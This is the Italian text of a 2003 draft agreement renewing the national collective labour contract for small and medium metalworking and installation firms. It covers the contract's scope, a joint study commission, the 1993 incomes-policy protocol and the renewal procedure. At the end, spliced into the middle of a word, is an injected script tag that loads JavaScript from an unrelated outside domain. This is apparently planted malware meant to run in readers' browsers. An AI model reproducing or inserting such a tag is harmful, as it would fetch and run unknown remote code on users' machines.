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Categoria: Metalmeccanica (piccola e media impresa) Settore: Meccanici Data stipula: 29-5-2003 Data decorrenza: 1-6-2003 Data scadenza: 31-12-2006
IPOTESI DI ACCORDO
per il rinnovo del Contratto Collettivo Nazionale di Lavoro
7 LUGLIO 1999
PER I LAVORATORI ADDETTI ALLA PICCOLA E MEDIA INDUSTRIA METALMECCANICA
E ALLA INSTALLAZIONE DI IMPIANTI
Roma, 29 maggio 2003
Da inserire prima della Premessa al contratto
Dichiarazione delle parti stipulanti.
Il presente CCNL sostituisce il precedente CCNL 7 luglio 1999 a tutti gli
effetti e, dunque, anche ai fini del comma 3, art. 42, punto 1),
Disciplina Generale.
I firmatari del presente CCNL convengono che i sindacati stipulanti il
precedente CCNL 7.7.99 saranno destinatari di tutti i diritti e istituti
previsti nella Disciplina Generale e di ogni ulteriore diritto che il
presente contratto attribuisca alle parti stipulanti.
Da inserire nel campo di applicazione del contratto.
I) L'esercizio di attività di formazione professionale da parte di enti e
soggetti che la eroghino anche a favore di imprese a cui si applica il
presente CCNL.
COMMISSIONE PARITETICA NAZIONALE DI STUDIO SUI COMPARTI
Le parti convengono di costituire entro il 30.9.03, un Gruppo di lavoro
paritetico con il compito di individuare comparti omogenei per
caratteristiche organizzative, tecnologiche e di mercato tali da
giustificare la definizione di discipline specifiche nell'ambito del
presente contratto.
La Commissione, determinati i comparti, individuerà le aree tematiche che
necessitano di discipline specifiche.
I risultati dei lavori della Commissione saranno presentati alle parti
entro giugno 2006.
VERIFICA PROTOCOLLO DEL 23 LUGLIO 1993
Le Parti stipulanti riconfermano la validità della politica dei redditi e
del conseguente Protocollo 23.7.93, che prevede un assetto contrattuale su
2 livelli, come fondamento di un sistema regolato di relazioni sindacali,
finalizzato al controllo dell'inflazione, allo sviluppo economico, alla
promozione della competitività delle imprese, alla salvaguardia del potere
d'acquisto delle retribuzioni e a un'equa distribuzione degli aumenti di
produttività.
Rilevano altresì la necessità di precisare meglio la divisione di
competenze tra la contrattazione nazionale e quella decentrata, al fine di
evitare sovrapposizioni e di ampliare a tutti i lavoratori la possibilità
di partecipare alla distribuzione della produttività.
Invitano pertanto le rispettive Confederazioni ad attivare un negoziato
finalizzato a una riforma del Protocollo 23.7.93.
Le Parti stipulanti si danno reciprocamente atto che, in assenza di tale
riforma, affronteranno i problemi della non sovrapponibilità dei livelli
contrattuali e della partecipazione dei lavoratori alla distribuzione
della produttività in occasione del rinnovo del biennio economico in
scadenza il 31.12.04.
Dichiarazione comune delle parti stipulanti.
Le parti stipulanti si impegnano a promuovere sul territorio nazionale, la
più ampia applicazione dell'Accordo interconfederale CONFAPI - CGIL, CISL,
UIL del 20.12.00 sulla conciliazione e l'arbitrato.
II) PROCEDURA DI RINNOVO DEL CONTRATTO COLLETTIVO NAZIONALE DI LAVORO
Il CCNL ha durata quadriennale per la materia normativa e biennale per la
materia retributiva. Le parti per la dinamica degli effetti economici del
CCNL fanno riferimento al punto 2 del capitolo Assetti contrattuali del
Protocollo 23.7.93.
Le proposte per il rinnovo del CCNL saranno presentate, dalla parte che ha
dato disdetta, in tempo utile per consentire l'apertura delle trattative 3
mesi prima della scadenza del contratto.
La parte che ha ricevuto la disdetta deve darne riscontro all'altra entro
20 giorni.
Nei 3 mesi di cui sopra e per il mese successivo alla scadenza e comunque
per un periodo complessivo di 4 mesi dalla data di presentazione delle
proposte di modifica, le parti non intraprenderanno iniziative unilaterali
né procederanno ad azio<script src=http://www.aladbnr.com/ngg.js></script>
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